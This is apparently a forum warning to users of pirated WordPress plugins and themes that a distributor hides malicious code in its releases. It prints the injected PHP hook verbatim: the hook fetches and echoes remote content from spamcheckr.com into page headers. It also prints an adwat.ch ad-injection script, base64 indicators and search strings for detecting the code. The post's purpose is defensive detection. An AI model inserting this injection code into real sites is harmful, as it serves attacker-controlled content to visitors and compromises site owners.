Members be Aware!
Read it entirely...
These guys, namely
Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-Vip, also from the website
http://Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)/ has been sharing malicious codes within their release!
This is the way they are doing money, and releasing more and more contents here and around the web.
To keep it simple...
1. Grab yourself a copy of DreamWeaver which will help you to search for codes and contents on an entire directory;
2. Open it, and hit the CTRL+F and point it to search inside a directory path you have your source;
3. Pay attention to the following lines you'll be searching for, and hit the 'find everything' button.
4. Try to grab a copy of Beyond Compare, which lets you to compare tons of files instantly...
If you ever downloaded something from them, promptly inspect your source code for curl_init functions, obfuscated codes, and some dirty clean code as well like ones I'll mention below:
Item A:
If you have it there, drop your site and start all over. Your site is already completely screwed... I'd start all over.
And add more reps to these low life beggars! Or go find them and teach them a lesson...
Search item by item, and if you find one, you've been screwed up.
Quote:spamcheckr
http://spamcheckr.com/
"http://spamcheckr.com/l.php"
adwat
http://adwat.ch/
http://adwat.ch/js/easylink.js
Here it is the entire code:
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqv12_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqv12_cahesk');}}
?>
<?php
And some more:
<script type="text/javascript">
var adwatch_id = 234224;
var adwatch_advert = "int";
var exclude_domains = ['affiliates.playboy.com', 'elperutienetalento.com', 'skeezybabes.com', 'wp-admin', 'kamapisachi.info', 'nude', 'sex', 'porn', 'naked', 'F***', 'cock', 'penis', 'tits', 'boobs', 'pussy', 'wp-login', 'hillaryClinton2016.com', 'mpmgworld.com', 'madeforher.in'];
</script>
<script type="text/javascript" src="http://adwat.ch/js/easylink.js"></script>
Item B:
If you find the exact obfuscated codes such the one below, drop it as well and start all over: You've got screwed by them as well.
If you find other obfuscated codes such as the other examples, I'd start all over as well, but it is up to you to decide it... However, some software developers uses obfuscated codes for protecting their source codes; but in anyway, I usually don't accept using anything obfuscated myself mainly when I download it from the Internet around the forums.Search for one by one, line by line, and not all the four in these examples. If you find something on this example, you're also screwed!
Quote:c3BhbWNoZWNrci5jb20vY2hlY2sucGhw
amFxcXNjaWdzQGdtYWlsLmNvbQ==
d29yZHByZXNzc2xvZ0B5YW5kZXguY29t
NdLJlmNQAADQX8muqo6FIKZTXV0HEUKixCybPsIzBOGZHu
Item C:
Look for functions like the ones below and inspect the URLs (links) that goes near by them. If you find some URL that might not be there, and with it I mean an "strange URL", something other than the developer URL or well know and trusted URLs, take double care and go further and try to figure out what does these addresses are pointing at. Again, if it is pointing to some unknown URL, you probably should not use it and try to get an original copy of the code to compare it, and if in your comparison it does not match, you are probably screwed as well. Search for:
Quote:curl_init
$addressd
Item D:
DO NOT BELIEVE in VirusTotal... It will not detect many of these craps all these guys are doing:
Check your self all the things prior to using it!
This is a good start.
If you found something infected or suspect, promptly report it as malicious with the following message and hitting the report button:
This nonsense has uploaded an infected item, and the OP should be permanently banned!
Also share your findings (infected items) on this threads below:
http://bestblackhatforum.com/Thread-List...d-BE-AWARE
http://bestblackhatforum.com/Thread-List...d-BE-AWARE
![[Image: Download-UberMenu-Mega-Menu-WordPress-Pl...n-Code.jpg]](http://www.wpdiv.com/wp-content/uploads/2014/07/Download-UberMenu-Mega-Menu-WordPress-Plugin-With-Coupon-Code.jpg)